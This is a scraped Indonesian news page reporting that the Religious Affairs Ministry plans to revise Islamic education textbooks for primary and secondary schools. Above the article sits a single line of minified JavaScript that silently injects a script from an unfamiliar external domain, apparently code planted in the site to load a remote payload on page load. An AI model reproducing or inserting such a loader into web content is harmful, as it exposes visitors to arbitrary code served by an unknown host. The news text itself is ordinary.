(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Kemenag Akan Revisi Buku Pendidikan Agama, Ada Apa?


Menyikapi gejala sosial saat ini, Dirjen Pendidikan Islam Kementerian Agama (Dirjen Pendis Kemenag), Kamaruddin Amin, memiliki gagasan untuk melakukan revisi buku Pendidikan Agama Islam. Revisi buku, kata dia, akan berlaku pada tingkat SD, SMP, dan SMA.

Hal tersebut didasari lantaran pendidikan agama Islam di sekolah saat ini dihadapkan pada problem fundamental berupa kekurangan buku pendidikan agama Islam.

“Ya, rencana revisi buku sudah ada, bahkan sudah mulai. Sekarang masih tahap penulisan. Kalau untuk penulisan buku, anggaran kecil-lah, tidak besar-besar banget. Sekisar Rp 1 miliar hingga Rp 2 miliar,” ujar Kamaruddin di Jakarta, Kamis (9/11).

Nantinya, kata dia, gejala sosial akan menjadi kajian dari revisi buku Pendidikan Agama Islam, tapi materi tetap berlandaskan Kurikulum 2013 (K13). Target pencetakan buku, kata dia, diusahakan selesai tahun depan, 2018.

“Tentu akan kami masukkan mengenai pengamalan lebih Pancasila, toleransi antarumat beragama, aliran agama. Ya, pendidikan yang lebih terbuka melihat gejala sosial,” kata dia.

Sebelumnya, Pusat Penelitian dan Pengembangan (Puslitbang) Lektur, Khazanah Keagamaan dan Manajemen Organisasi dari Kementerian Agama (Kemenag) baru saja menyelenggarakan pembahasan hasil penilaian buku teks Pendidikan Agama Islam (PAI) pada jenjang pendidikan menegah. Ada tiga kriteria yang dipakai untuk melakukan penilaian terhadap buku pendidikan keagamaan.

Kapuslitbang Lektur, Khazanah Keagamaan dan Manajemen Organisasi dari Kemenag Choirul Fuad Yusuf mengatakan, pertama, menggunakan kriteria yang sudah disusun oleh Kementerian Pendidikan dan Kebudayaan (Kemendikbud). Yaitu yang dipakai BSNP, baik dari sisi kelengkapan isi buku, kesesuaian isi buku dengan kurikulum, kelayakan penyajian dan grafik serta lain sebagainya.

“Kedua, untuk menilai buku pendidikan agama Islam khususnya, dipakai pedoman tadqiq,” kata Choirul. (cel/rep)


Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

11 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

13 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

16 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

19 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

19 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

20 jam ago

This website uses cookies.